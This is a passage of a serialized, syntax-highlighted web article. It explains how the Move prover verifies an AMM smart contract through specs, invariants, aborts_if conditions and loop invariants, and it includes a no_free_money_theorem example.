assert!",{"type":23,"tag":213,"props":8006,"children":8007},{"style":220},[8008],{"type":28,"value":265},{"type":23,"tag":213,"props":8010,"children":8011},{"style":268},[8012],{"type":28,"value":8013},"cmp",{"type":23,"tag":213,"props":8015,"children":8016},{"style":274},[8017],{"type":28,"value":3379},{"type":23,"tag":213,"props":8019,"children":8020},{"style":514},[8021],{"type":28,"value":8022}," 2",{"type":23,"tag":213,"props":8024,"children":8025},{"style":220},[8026],{"type":28,"value":8027},", ERR_INCORRECT_SWAP);\n",{"type":23,"tag":24,"props":8029,"children":8030},{},[8031,8033,8038],{"type":28,"value":8032},"The move prover really shines when we're proving relationships ",{"type":23,"tag":87,"props":8034,"children":8035},{},[8036],{"type":28,"value":8037},"between",{"type":28,"value":8039}," functions.",{"type":23,"tag":24,"props":8041,"children":8042},{},[8043,8045,8051],{"type":28,"value":8044},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":23,"tag":209,"props":8046,"children":8048},{"className":8047},[],[8049],{"type":28,"value":8050},"no_free_money_theorem",{"type":28,"value":8052}," in the move repository.",{"type":23,"tag":202,"props":8054,"children":8056},{"className":206,"code":8055,"language":205,"meta":7,"style":7}," // #[test] // TODO: cannot specify the test-only functions\n fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n let share = add_liquidity(coin1_in, coin2_in);\n remove_liquidity(share)\n }\n spec no_free_money_theorem {\n pragma verify=false;\n ensures result_1 \u003C= coin1_in;\n ensures result_2 \u003C= coin2_in;\n }\n",[8057],{"type":23,"tag":209,"props":8058,"children":8059},{"__ignoreMap":7},[8060,8068,8155,8197,8218,8225,8241,8266,8293,8318],{"type":23,"tag":213,"props":8061,"children":8062},{"class":215,"line":216},[8063],{"type":23,"tag":213,"props":8064,"children":8065},{"style":537},[8066],{"type":28,"value":8067}," // #[test] // TODO: cannot specify the test-only functions\n",{"type":23,"tag":213,"props":8069,"children":8070},{"class":215,"line":226},[8071,8075,8080,8084,8089,8093,8097,8101,8106,8110,8114,8118,8122,8126,8130,8134,8138,8142,8146,8151],{"type":23,"tag":213,"props":8072,"children":8073},{"style":268},[8074],{"type":28,"value":6662},{"type":23,"tag":213,"props":8076,"children":8077},{"style":257},[8078],{"type":28,"value":8079}," no_free_money_theorem",{"type":23,"tag":213,"props":8081,"children":8082},{"style":220},[8083],{"type":28,"value":265},{"type":23,"tag":213,"props":8085,"children":8086},{"style":268},[8087],{"type":28,"value":8088},"coin1_in",{"type":23,"tag":213,"props":8090,"children":8091},{"style":274},[8092],{"type":28,"value":277},{"type":23,"tag":213,"props":8094,"children":8095},{"style":290},[8096],{"type":28,"value":308},{"type":23,"tag":213,"props":8098,"children":8099},{"style":220},[8100],{"type":28,"value":424},{"type":23,"tag":213,"props":8102,"children":8103},{"style":268},[8104],{"type":28,"value":8105},"coin2_in",{"type":23,"tag":213,"props":8107,"children":8108},{"style":274},[8109],{"type":28,"value":277},{"type":23,"tag":213,"props":8111,"children":8112},{"style":290},[8113],{"type":28,"value":308},{"type":23,"tag":213,"props":8115,"children":8116},{"style":220},[8117],{"type":28,"value":2121},{"type":23,"tag":213,"props":8119,"children":8120},{"style":274},[8121],{"type":28,"value":277},{"type":23,"tag":213,"props":8123,"children":8124},{"style":220},[8125],{"type":28,"value":400},{"type":23,"tag":213,"props":8127,"children":8128},{"style":290},[8129],{"type":28,"value":684},{"type":23,"tag":213,"props":8131,"children":8132},{"style":220},[8133],{"type":28,"value":424},{"type":23,"tag":213,"props":8135,"children":8136},{"style":290},[8137],{"type":28,"value":684},{"type":23,"tag":213,"props":8139,"children":8140},{"style":220},[8141],{"type":28,"value":298},{"type":23,"tag":213,"props":8143,"children":8144},{"style":268},[8145],{"type":28,"value":6436},{"type":23,"tag":213,"props":8147,"children":8148},{"style":290},[8149],{"type":28,"value":8150}," Pool",{"type":23,"tag":213,"props":8152,"children":8153},{"style":220},[8154],{"type":28,"value":1375},{"type":23,"tag":213,"props":8156,"children":8157},{"class":215,"line":524},[8158,8163,8168,8172,8177,8181,8185,8189,8193],{"type":23,"tag":213,"props":8159,"children":8160},{"style":230},[8161],{"type":28,"value":8162}," let",{"type":23,"tag":213,"props":8164,"children":8165},{"style":268},[8166],{"type":28,"value":8167}," share",{"type":23,"tag":213,"props":8169,"children":8170},{"style":274},[8171],{"type":28,"value":511},{"type":23,"tag":213,"props":8173,"children":8174},{"style":257},[8175],{"type":28,"value":8176}," add_liquidity",{"type":23,"tag":213,"props":8178,"children":8179},{"style":220},[8180],{"type":28,"value":265},{"type":23,"tag":213,"props":8182,"children":8183},{"style":268},[8184],{"type":28,"value":8088},{"type":23,"tag":213,"props":8186,"children":8187},{"style":220},[8188],{"type":28,"value":424},{"type":23,"tag":213,"props":8190,"children":8191},{"style":268},[8192],{"type":28,"value":8105},{"type":23,"tag":213,"props":8194,"children":8195},{"style":220},[8196],{"type":28,"value":2867},{"type":23,"tag":213,"props":8198,"children":8199},{"class":215,"line":533},[8200,8205,8209,8214],{"type":23,"tag":213,"props":8201,"children":8202},{"style":257},[8203],{"type":28,"value":8204}," remove_liquidity",{"type":23,"tag":213,"props":8206,"children":8207},{"style":220},[8208],{"type":28,"value":265},{"type":23,"tag":213,"props":8210,"children":8211},{"style":268},[8212],{"type":28,"value":8213},"share",{"type":23,"tag":213,"props":8215,"children":8216},{"style":220},[8217],{"type":28,"value":2183},{"type":23,"tag":213,"props":8219,"children":8220},{"class":215,"line":543},[8221],{"type":23,"tag":213,"props":8222,"children":8223},{"style":220},[8224],{"type":28,"value":5964},{"type":23,"tag":213,"props":8226,"children":8227},{"class":215,"line":551},[8228,8233,8237],{"type":23,"tag":213,"props":8229,"children":8230},{"style":268},[8231],{"type":28,"value":8232}," spec",{"type":23,"tag":213,"props":8234,"children":8235},{"style":268},[8236],{"type":28,"value":8079},{"type":23,"tag":213,"props":8238,"children":8239},{"style":220},[8240],{"type":28,"value":1375},{"type":23,"tag":213,"props":8242,"children":8243},{"class":215,"line":570},[8244,8249,8254,8258,8262],{"type":23,"tag":213,"props":8245,"children":8246},{"style":268},[8247],{"type":28,"value":8248}," pragma",{"type":23,"tag":213,"props":8250,"children":8251},{"style":268},[8252],{"type":28,"value":8253}," verify",{"type":23,"tag":213,"props":8255,"children":8256},{"style":274},[8257],{"type":28,"value":3190},{"type":23,"tag":213,"props":8259,"children":8260},{"style":230},[8261],{"type":28,"value":2499},{"type":23,"tag":213,"props":8263,"children":8264},{"style":220},[8265],{"type":28,"value":313},{"type":23,"tag":213,"props":8267,"children":8268},{"class":215,"line":655},[8269,8274,8279,8284,8289],{"type":23,"tag":213,"props":8270,"children":8271},{"style":268},[8272],{"type":28,"value":8273}," ensures",{"type":23,"tag":213,"props":8275,"children":8276},{"style":268},[8277],{"type":28,"value":8278}," result_1",{"type":23,"tag":213,"props":8280,"children":8281},{"style":274},[8282],{"type":28,"value":8283}," \u003C=",{"type":23,"tag":213,"props":8285,"children":8286},{"style":268},[8287],{"type":28,"value":8288}," coin1_in",{"type":23,"tag":213,"props":8290,"children":8291},{"style":220},[8292],{"type":28,"value":313},{"type":23,"tag":213,"props":8294,"children":8295},{"class":215,"line":1176},[8296,8300,8305,8309,8314],{"type":23,"tag":213,"props":8297,"children":8298},{"style":268},[8299],{"type":28,"value":8273},{"type":23,"tag":213,"props":8301,"children":8302},{"style":268},[8303],{"type":28,"value":8304}," result_2",{"type":23,"tag":213,"props":8306,"children":8307},{"style":274},[8308],{"type":28,"value":8283},{"type":23,"tag":213,"props":8310,"children":8311},{"style":268},[8312],{"type":28,"value":8313}," coin2_in",{"type":23,"tag":213,"props":8315,"children":8316},{"style":220},[8317],{"type":28,"value":313},{"type":23,"tag":213,"props":8319,"children":8320},{"class":215,"line":1202},[8321],{"type":23,"tag":213,"props":8322,"children":8323},{"style":220},[8324],{"type":28,"value":5964},{"type":23,"tag":24,"props":8326,"children":8327},{},[8328],{"type":28,"value":8329},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":23,"tag":24,"props":8331,"children":8332},{},[8333,8335,8340],{"type":28,"value":8334},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":23,"tag":87,"props":8336,"children":8337},{},[8338],{"type":28,"value":8339},"lot",{"type":28,"value":8341}," easier to reason about the protocol.",{"type":23,"tag":24,"props":8343,"children":8344},{},[8345],{"type":28,"value":8346},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":23,"tag":202,"props":8348,"children":8350},{"className":206,"code":8349,"language":205,"meta":7,"style":7},"spec PoolState {\n invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[8351],{"type":23,"tag":209,"props":8352,"children":8353},{"__ignoreMap":7},[8354,8371,8394],{"type":23,"tag":213,"props":8355,"children":8356},{"class":215,"line":216},[8357,8362,8367],{"type":23,"tag":213,"props":8358,"children":8359},{"style":268},[8360],{"type":28,"value":8361},"spec",{"type":23,"tag":213,"props":8363,"children":8364},{"style":290},[8365],{"type":28,"value":8366}," PoolState",{"type":23,"tag":213,"props":8368,"children":8369},{"style":220},[8370],{"type":28,"value":1375},{"type":23,"tag":213,"props":8372,"children":8373},{"class":215,"line":226},[8374,8379,8384,8389],{"type":23,"tag":213,"props":8375,"children":8376},{"style":268},[8377],{"type":28,"value":8378}," invariant",{"type":23,"tag":213,"props":8380,"children":8381},{"style":268},[8382],{"type":28,"value":8383}," supply",{"type":23,"tag":213,"props":8385,"children":8386},{"style":274},[8387],{"type":28,"value":8388}," >=",{"type":23,"tag":213,"props":8390,"children":8391},{"style":220},[8392],{"type":28,"value":8393}," MINIMUM_LIQUIDITY;\n",{"type":23,"tag":213,"props":8395,"children":8396},{"class":215,"line":524},[8397],{"type":23,"tag":213,"props":8398,"children":8399},{"style":220},[8400],{"type":28,"value":1208},{"type":23,"tag":24,"props":8402,"children":8403},{},[8404,8406,8412,8414,8420],{"type":28,"value":8405},"Another useful pattern for the Move prover is ",{"type":23,"tag":209,"props":8407,"children":8409},{"className":8408},[],[8410],{"type":28,"value":8411},"aborts_if",{"type":28,"value":8413},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":23,"tag":209,"props":8415,"children":8417},{"className":8416},[],[8418],{"type":28,"value":8419},"aborts_if false",{"type":28,"value":124},{"type":23,"tag":24,"props":8422,"children":8423},{},[8424],{"type":28,"value":8425},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":23,"tag":202,"props":8427,"children":8429},{"className":206,"code":8428,"language":205,"meta":7,"style":7}," fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n let amounts_times_coins = vector::empty\u003Cu128>();\n let i = 0;\n let n_coins = vector::length(&input);\n while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n spec {\n assert i == n_coins;\n assert len(input) == n_coins;\n };\n amounts_times_coins\n }\n spec multiply_vec_by_n_coins {\n pragma opaque;\n aborts_if false;\n ensures len(result) == len(input);\n ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n }\n",[8430],{"type":23,"tag":209,"props":8431,"children":8432},{"__ignoreMap":7},[8433,8496,8537,8560,8605,8618,8630,8669,8692,8780,8788,8813,8821,8842,8862,8961,8969,8998,9006,9018,9042,9077,9084,9092,9099,9114,9130,9148,9193,9299],{"type":23,"tag":213,"props":8434,"children":8435},{"class":215,"line":216},[8436,8440,8445,8449,8453,8457,8462,8466,8470,8475,8479,8483,8487,8492],{"type":23,"tag":213,"props":8437,"children":8438},{"style":268},[8439],{"type":28,"value":6662},{"type":23,"tag":213,"props":8441,"children":8442},{"style":257},[8443],{"type":28,"value":8444}," multiply_vec_by_n_coins",{"type":23,"tag":213,"props":8446,"children":8447},{"style":220},[8448],{"type":28,"value":265},{"type":23,"tag":213,"props":8450,"children":8451},{"style":268},[8452],{"type":28,"value":271},{"type":23,"tag":213,"props":8454,"children":8455},{"style":274},[8456],{"type":28,"value":277},{"type":23,"tag":213,"props":8458,"children":8459},{"style":268},[8460],{"type":28,"value":8461}," vector",{"type":23,"tag":213,"props":8463,"children":8464},{"style":220},[8465],{"type":28,"value":434},{"type":23,"tag":213,"props":8467,"children":8468},{"style":290},[8469],{"type":28,"value":684},{"type":23,"tag":213,"props":8471,"children":8472},{"style":220},[8473],{"type":28,"value":8474},">)",{"type":23,"tag":213,"props":8476,"children":8477},{"style":274},[8478],{"type":28,"value":277},{"type":23,"tag":213,"props":8480,"children":8481},{"style":268},[8482],{"type":28,"value":8461},{"type":23,"tag":213,"props":8484,"children":8485},{"style":220},[8486],{"type":28,"value":434},{"type":23,"tag":213,"props":8488,"children":8489},{"style":290},[8490],{"type":28,"value":8491},"u128",{"type":23,"tag":213,"props":8493,"children":8494},{"style":220},[8495],{"type":28,"value":905},{"type":23,"tag":213,"props":8497,"children":8498},{"class":215,"line":226},[8499,8503,8508,8512,8516,8520,8525,8529,8533],{"type":23,"tag":213,"props":8500,"children":8501},{"style":230},[8502],{"type":28,"value":8162},{"type":23,"tag":213,"props":8504,"children":8505},{"style":268},[8506],{"type":28,"value":8507}," amounts_times_coins",{"type":23,"tag":213,"props":8509,"children":8510},{"style":274},[8511],{"type":28,"value":511},{"type":23,"tag":213,"props":8513,"children":8514},{"style":220},[8515],{"type":28,"value":8461},{"type":23,"tag":213,"props":8517,"children":8518},{"style":274},[8519],{"type":28,"value":562},{"type":23,"tag":213,"props":8521,"children":8522},{"style":268},[8523],{"type":28,"value":8524},"empty",{"type":23,"tag":213,"props":8526,"children":8527},{"style":220},[8528],{"type":28,"value":434},{"type":23,"tag":213,"props":8530,"children":8531},{"style":290},[8532],{"type":28,"value":8491},{"type":23,"tag":213,"props":8534,"children":8535},{"style":220},[8536],{"type":28,"value":689},{"type":23,"tag":213,"props":8538,"children":8539},{"class":215,"line":524},[8540,8544,8548,8552,8556],{"type":23,"tag":213,"props":8541,"children":8542},{"style":230},[8543],{"type":28,"value":8162},{"type":23,"tag":213,"props":8545,"children":8546},{"style":268},[8547],{"type":28,"value":3494},{"type":23,"tag":213,"props":8549,"children":8550},{"style":274},[8551],{"type":28,"value":511},{"type":23,"tag":213,"props":8553,"children":8554},{"style":514},[8555],{"type":28,"value":517},{"type":23,"tag":213,"props":8557,"children":8558},{"style":220},[8559],{"type":28,"value":313},{"type":23,"tag":213,"props":8561,"children":8562},{"class":215,"line":533},[8563,8567,8572,8576,8580,8584,8589,8593,8597,8601],{"type":23,"tag":213,"props":8564,"children":8565},{"style":230},[8566],{"type":28,"value":8162},{"type":23,"tag":213,"props":8568,"children":8569},{"style":268},[8570],{"type":28,"value":8571}," n_coins",{"type":23,"tag":213,"props":8573,"children":8574},{"style":274},[8575],{"type":28,"value":511},{"type":23,"tag":213,"props":8577,"children":8578},{"style":220},[8579],{"type":28,"value":8461},{"type":23,"tag":213,"props":8581,"children":8582},{"style":274},[8583],{"type":28,"value":562},{"type":23,"tag":213,"props":8585,"children":8586},{"style":257},[8587],{"type":28,"value":8588},"length",{"type":23,"tag":213,"props":8590,"children":8591},{"style":220},[8592],{"type":28,"value":265},{"type":23,"tag":213,"props":8594,"children":8595},{"style":274},[8596],{"type":28,"value":405},{"type":23,"tag":213,"props":8598,"children":8599},{"style":268},[8600],{"type":28,"value":271},{"type":23,"tag":213,"props":8602,"children":8603},{"style":220},[8604],{"type":28,"value":2867},{"type":23,"tag":213,"props":8606,"children":8607},{"class":215,"line":543},[8608,8613],{"type":23,"tag":213,"props":8609,"children":8610},{"style":1362},[8611],{"type":28,"value":8612}," while",{"type":23,"tag":213,"props":8614,"children":8615},{"style":220},[8616],{"type":28,"value":8617}," ({\n",{"type":23,"tag":213,"props":8619,"children":8620},{"class":215,"line":551},[8621,8626],{"type":23,"tag":213,"props":8622,"children":8623},{"style":268},[8624],{"type":28,"value":8625}," spec",{"type":23,"tag":213,"props":8627,"children":8628},{"style":220},[8629],{"type":28,"value":1375},{"type":23,"tag":213,"props":8631,"children":8632},{"class":215,"line":570},[8633,8638,8643,8647,8652,8656,8661,8665],{"type":23,"tag":213,"props":8634,"children":8635},{"style":268},[8636],{"type":28,"value":8637}," invariant",{"type":23,"tag":213,"props":8639,"children":8640},{"style":257},[8641],{"type":28,"value":8642}," len",{"type":23,"tag":213,"props":8644,"children":8645},{"style":220},[8646],{"type":28,"value":265},{"type":23,"tag":213,"props":8648,"children":8649},{"style":268},[8650],{"type":28,"value":8651},"amounts_times_coins",{"type":23,"tag":213,"props":8653,"children":8654},{"style":220},[8655],{"type":28,"value":298},{"type":23,"tag":213,"props":8657,"children":8658},{"style":274},[8659],{"type":28,"value":8660},"==",{"type":23,"tag":213,"props":8662,"children":8663},{"style":268},[8664],{"type":28,"value":3494},{"type":23,"tag":213,"props":8666,"children":8667},{"style":220},[8668],{"type":28,"value":313},{"type":23,"tag":213,"props":8670,"children":8671},{"class":215,"line":655},[8672,8676,8680,8684,8688],{"type":23,"tag":213,"props":8673,"children":8674},{"style":268},[8675],{"type":28,"value":8637},{"type":23,"tag":213,"props":8677,"children":8678},{"style":268},[8679],{"type":28,"value":3494},{"type":23,"tag":213,"props":8681,"children":8682},{"style":274},[8683],{"type":28,"value":8283},{"type":23,"tag":213,"props":8685,"children":8686},{"style":268},[8687],{"type":28,"value":8571},{"type":23,"tag":213,"props":8689,"children":8690},{"style":220},[8691],{"type":28,"value":313},{"type":23,"tag":213,"props":8693,"children":8694},{"class":215,"line":1176},[8695,8699,8704,8709,8713,8717,8721,8725,8729,8733,8737,8742,8747,8751,8756,8760,8764,8768,8772,8776],{"type":23,"tag":213,"props":8696,"children":8697},{"style":268},[8698],{"type":28,"value":8637},{"type":23,"tag":213,"props":8700,"children":8701},{"style":268},[8702],{"type":28,"value":8703}," forall",{"type":23,"tag":213,"props":8705,"children":8706},{"style":268},[8707],{"type":28,"value":8708}," j",{"type":23,"tag":213,"props":8710,"children":8711},{"style":230},[8712],{"type":28,"value":3141},{"type":23,"tag":213,"props":8714,"children":8715},{"style":514},[8716],{"type":28,"value":517},{"type":23,"tag":213,"props":8718,"children":8719},{"style":274},[8720],{"type":28,"value":3150},{"type":23,"tag":213,"props":8722,"children":8723},{"style":268},[8724],{"type":28,"value":3826},{"type":23,"tag":213,"props":8726,"children":8727},{"style":274},[8728],{"type":28,"value":277},{"type":23,"tag":213,"props":8730,"children":8731},{"style":268},[8732],{"type":28,"value":8507},{"type":23,"tag":213,"props":8734,"children":8735},{"style":220},[8736],{"type":28,"value":3821},{"type":23,"tag":213,"props":8738,"children":8739},{"style":268},[8740],{"type":28,"value":8741},"j",{"type":23,"tag":213,"props":8743,"children":8744},{"style":220},[8745],{"type":28,"value":8746},"] ",{"type":23,"tag":213,"props":8748,"children":8749},{"style":274},[8750],{"type":28,"value":8660},{"type":23,"tag":213,"props":8752,"children":8753},{"style":268},[8754],{"type":28,"value":8755}," input",{"type":23,"tag":213,"props":8757,"children":8758},{"style":220},[8759],{"type":28,"value":3821},{"type":23,"tag":213,"props":8761,"children":8762},{"style":268},[8763],{"type":28,"value":8741},{"type":23,"tag":213,"props":8765,"children":8766},{"style":220},[8767],{"type":28,"value":8746},{"type":23,"tag":213,"props":8769,"children":8770},{"style":274},[8771],{"type":28,"value":1696},{"type":23,"tag":213,"props":8773,"children":8774},{"style":268},[8775],{"type":28,"value":8571},{"type":23,"tag":213,"props":8777,"children":8778},{"style":220},[8779],{"type":28,"value":313},{"type":23,"tag":213,"props":8781,"children":8782},{"class":215,"line":1202},[8783],{"type":23,"tag":213,"props":8784,"children":8785},{"style":220},[8786],{"type":28,"value":8787}," };\n",{"type":23,"tag":213,"props":8789,"children":8790},{"class":215,"line":1758},[8791,8796,8800,8805,8809],{"type":23,"tag":213,"props":8792,"children":8793},{"style":220},[8794],{"type":28,"value":8795}," (",{"type":23,"tag":213,"props":8797,"children":8798},{"style":268},[8799],{"type":28,"value":3826},{"type":23,"tag":213,"props":8801,"children":8802},{"style":274},[8803],{"type":28,"value":8804}," \u003C",{"type":23,"tag":213,"props":8806,"children":8807},{"style":268},[8808],{"type":28,"value":8571},{"type":23,"tag":213,"props":8810,"children":8811},{"style":220},[8812],{"type":28,"value":2183},{"type":23,"tag":213,"props":8814,"children":8815},{"class":215,"line":1767},[8816],{"type":23,"tag":213,"props":8817,"children":8818},{"style":220},[8819],{"type":28,"value":8820}," }) {\n",{"type":23,"tag":213,"props":8822,"children":8823},{"class":215,"line":1789},[8824,8829,8833,8838],{"type":23,"tag":213,"props":8825,"children":8826},{"style":220},[8827],{"type":28,"value":8828}," vector",{"type":23,"tag":213,"props":8830,"children":8831},{"style":274},[8832],{"type":28,"value":562},{"type":23,"tag":213,"props":8834,"children":8835},{"style":257},[8836],{"type":28,"value":8837},"push_back",{"type":23,"tag":213,"props":8839,"children":8840},{"style":220},[8841],{"type":28,"value":1511},{"type":23,"tag":213,"props":8843,"children":8844},{"class":215,"line":1812},[8845,8850,8854,8858],{"type":23,"tag":213,"props":8846,"children":8847},{"style":274},[8848],{"type":28,"value":8849}," &",{"type":23,"tag":213,"props":8851,"children":8852},{"style":230},[8853],{"type":28,"value":287},{"type":23,"tag":213,"props":8855,"children":8856},{"style":268},[8857],{"type":28,"value":8507},{"type":23,"tag":213,"props":8859,"children":8860},{"style":220},[8861],{"type":28,"value":944},{"type":23,"tag":213,"props":8863,"children":8864},{"class":215,"line":1838},[8865,8870,8874,8879,8883,8888,8892,8896,8900,8905,8909,8914,8918,8923,8927,8932,8936,8940,8944,8949,8953,8957],{"type":23,"tag":213,"props":8866,"children":8867},{"style":220},[8868],{"type":28,"value":8869}," (",{"type":23,"tag":213,"props":8871,"children":8872},{"style":274},[8873],{"type":28,"value":1696},{"type":23,"tag":213,"props":8875,"children":8876},{"style":220},[8877],{"type":28,"value":8878},"vector",{"type":23,"tag":213,"props":8880,"children":8881},{"style":274},[8882],{"type":28,"value":562},{"type":23,"tag":213,"props":8884,"children":8885},{"style":257},[8886],{"type":28,"value":8887},"borrow",{"type":23,"tag":213,"props":8889,"children":8890},{"style":220},[8891],{"type":28,"value":265},{"type":23,"tag":213,"props":8893,"children":8894},{"style":274},[8895],{"type":28,"value":405},{"type":23,"tag":213,"props":8897,"children":8898},{"style":268},[8899],{"type":28,"value":271},{"type":23,"tag":213,"props":8901,"children":8902},{"style":220},[8903],{"type":28,"value":8904},", (",{"type":23,"tag":213,"props":8906,"children":8907},{"style":268},[8908],{"type":28,"value":3826},{"type":23,"tag":213,"props":8910,"children":8911},{"style":230},[8912],{"type":28,"value":8913}," as",{"type":23,"tag":213,"props":8915,"children":8916},{"style":290},[8917],{"type":28,"value":308},{"type":23,"tag":213,"props":8919,"children":8920},{"style":220},[8921],{"type":28,"value":8922},")) ",{"type":23,"tag":213,"props":8924,"children":8925},{"style":230},[8926],{"type":28,"value":623},{"type":23,"tag":213,"props":8928,"children":8929},{"style":290},[8930],{"type":28,"value":8931}," u128",{"type":23,"tag":213,"props":8933,"children":8934},{"style":220},[8935],{"type":28,"value":298},{"type":23,"tag":213,"props":8937,"children":8938},{"style":274},[8939],{"type":28,"value":1696},{"type":23,"tag":213,"props":8941,"children":8942},{"style":220},[8943],{"type":28,"value":400},{"type":23,"tag":213,"props":8945,"children":8946},{"style":268},[8947],{"type":28,"value":8948},"n_coins",{"type":23,"tag":213,"props":8950,"children":8951},{"style":230},[8952],{"type":28,"value":8913},{"type":23,"tag":213,"props":8954,"children":8955},{"style":290},[8956],{"type":28,"value":8931},{"type":23,"tag":213,"props":8958,"children":8959},{"style":220},[8960],{"type":28,"value":2183},{"type":23,"tag":213,"props":8962,"children":8963},{"class":215,"line":1851},[8964],{"type":23,"tag":213,"props":8965,"children":8966},{"style":220},[8967],{"type":28,"value":8968}," );\n",{"type":23,"tag":213,"props":8970,"children":8971},{"class":215,"line":1864},[8972,8977,8981,8985,8990,8994],{"type":23,"tag":213,"props":8973,"children":8974},{"style":268},[8975],{"type":28,"value":8976}," i",{"type":23,"tag":213,"props":8978,"children":8979},{"style":274},[8980],{"type":28,"value":511},{"type":23,"tag":213,"props":8982,"children":8983},{"style":268},[8984],{"type":28,"value":3494},{"type":23,"tag":213,"props":8986,"children":8987},{"style":274},[8988],{"type":28,"value":8989}," +",{"type":23,"tag":213,"props":8991,"children":8992},{"style":514},[8993],{"type":28,"value":4618},{"type":23,"tag":213,"props":8995,"children":8996},{"style":220},[8997],{"type":28,"value":313},{"type":23,"tag":213,"props":8999,"children":9000},{"class":215,"line":1890},[9001],{"type":23,"tag":213,"props":9002,"children":9003},{"style":220},[9004],{"type":28,"value":9005}," };\n",{"type":23,"tag":213,"props":9007,"children":9008},{"class":215,"line":1899},[9009,9014],{"type":23,"tag":213,"props":9010,"children":9011},{"style":268},[9012],{"type":28,"value":9013}," spec",{"type":23,"tag":213,"props":9015,"children":9016},{"style":220},[9017],{"type":28,"value":1375},{"type":23,"tag":213,"props":9019,"children":9020},{"class":215,"line":1912},[9021,9026,9030,9034,9038],{"type":23,"tag":213,"props":9022,"children":9023},{"style":268},[9024],{"type":28,"value":9025}," assert",{"type":23,"tag":213,"props":9027,"children":9028},{"style":268},[9029],{"type":28,"value":3494},{"type":23,"tag":213,"props":9031,"children":9032},{"style":274},[9033],{"type":28,"value":3379},{"type":23,"tag":213,"props":9035,"children":9036},{"style":268},[9037],{"type":28,"value":8571},{"type":23,"tag":213,"props":9039,"children":9040},{"style":220},[9041],{"type":28,"value":313},{"type":23,"tag":213,"props":9043,"children":9044},{"class":215,"line":1921},[9045,9049,9053,9057,9061,9065,9069,9073],{"type":23,"tag":213,"props":9046,"children":9047},{"style":268},[9048],{"type":28,"value":9025},{"type":23,"tag":213,"props":9050,"children":9051},{"style":257},[9052],{"type":28,"value":8642},{"type":23,"tag":213,"props":9054,"children":9055},{"style":220},[9056],{"type":28,"value":265},{"type":23,"tag":213,"props":9058,"children":9059},{"style":268},[9060],{"type":28,"value":271},{"type":23,"tag":213,"props":9062,"children":9063},{"style":220},[9064],{"type":28,"value":298},{"type":23,"tag":213,"props":9066,"children":9067},{"style":274},[9068],{"type":28,"value":8660},{"type":23,"tag":213,"props":9070,"children":9071},{"style":268},[9072],{"type":28,"value":8571},{"type":23,"tag":213,"props":9074,"children":9075},{"style":220},[9076],{"type":28,"value":313},{"type":23,"tag":213,"props":9078,"children":9079},{"class":215,"line":3879},[9080],{"type":23,"tag":213,"props":9081,"children":9082},{"style":220},[9083],{"type":28,"value":9005},{"type":23,"tag":213,"props":9085,"children":9086},{"class":215,"line":3887},[9087],{"type":23,"tag":213,"props":9088,"children":9089},{"style":268},[9090],{"type":28,"value":9091}," amounts_times_coins\n",{"type":23,"tag":213,"props":9093,"children":9094},{"class":215,"line":3918},[9095],{"type":23,"tag":213,"props":9096,"children":9097},{"style":220},[9098],{"type":28,"value":5964},{"type":23,"tag":213,"props":9100,"children":9101},{"class":215,"line":3926},[9102,9106,9110],{"type":23,"tag":213,"props":9103,"children":9104},{"style":268},[9105],{"type":28,"value":8232},{"type":23,"tag":213,"props":9107,"children":9108},{"style":268},[9109],{"type":28,"value":8444},{"type":23,"tag":213,"props":9111,"children":9112},{"style":220},[9113],{"type":28,"value":1375},{"type":23,"tag":213,"props":9115,"children":9116},{"class":215,"line":3986},[9117,9121,9126],{"type":23,"tag":213,"props":9118,"children":9119},{"style":268},[9120],{"type":28,"value":8248},{"type":23,"tag":213,"props":9122,"children":9123},{"style":268},[9124],{"type":28,"value":9125}," opaque",{"type":23,"tag":213,"props":9127,"children":9128},{"style":220},[9129],{"type":28,"value":313},{"type":23,"tag":213,"props":9131,"children":9133},{"class":215,"line":9132},27,[9134,9139,9144],{"type":23,"tag":213,"props":9135,"children":9136},{"style":268},[9137],{"type":28,"value":9138}," aborts_if",{"type":23,"tag":213,"props":9140,"children":9141},{"style":230},[9142],{"type":28,"value":9143}," false",{"type":23,"tag":213,"props":9145,"children":9146},{"style":220},[9147],{"type":28,"value":313},{"type":23,"tag":213,"props":9149,"children":9151},{"class":215,"line":9150},28,[9152,9156,9160,9164,9169,9173,9177,9181,9185,9189],{"type":23,"tag":213,"props":9153,"children":9154},{"style":268},[9155],{"type":28,"value":8273},{"type":23,"tag":213,"props":9157,"children":9158},{"style":257},[9159],{"type":28,"value":8642},{"type":23,"tag":213,"props":9161,"children":9162},{"style":220},[9163],{"type":28,"value":265},{"type":23,"tag":213,"props":9165,"children":9166},{"style":268},[9167],{"type":28,"value":9168},"result",{"type":23,"tag":213,"props":9170,"children":9171},{"style":220},[9172],{"type":28,"value":298},{"type":23,"tag":213,"props":9174,"children":9175},{"style":274},[9176],{"type":28,"value":8660},{"type":23,"tag":213,"props":9178,"children":9179},{"style":257},[9180],{"type":28,"value":8642},{"type":23,"tag":213,"props":9182,"children":9183},{"style":220},[9184],{"type":28,"value":265},{"type":23,"tag":213,"props":9186,"children":9187},{"style":268},[9188],{"type":28,"value":271},{"type":23,"tag":213,"props":9190,"children":9191},{"style":220},[9192],{"type":28,"value":2867},{"type":23,"tag":213,"props":9194,"children":9196},{"class":215,"line":9195},29,[9197,9201,9205,9209,9213,9217,9221,9226,9230,9234,9238,9242,9247,9251,9255,9259,9263,9267,9271,9275,9279,9283,9287,9291,9295],{"type":23,"tag":213,"props":9198,"children":9199},{"style":268},[9200],{"type":28,"value":8273},{"type":23,"tag":213,"props":9202,"children":9203},{"style":268},[9204],{"type":28,"value":8703},{"type":23,"tag":213,"props":9206,"children":9207},{"style":268}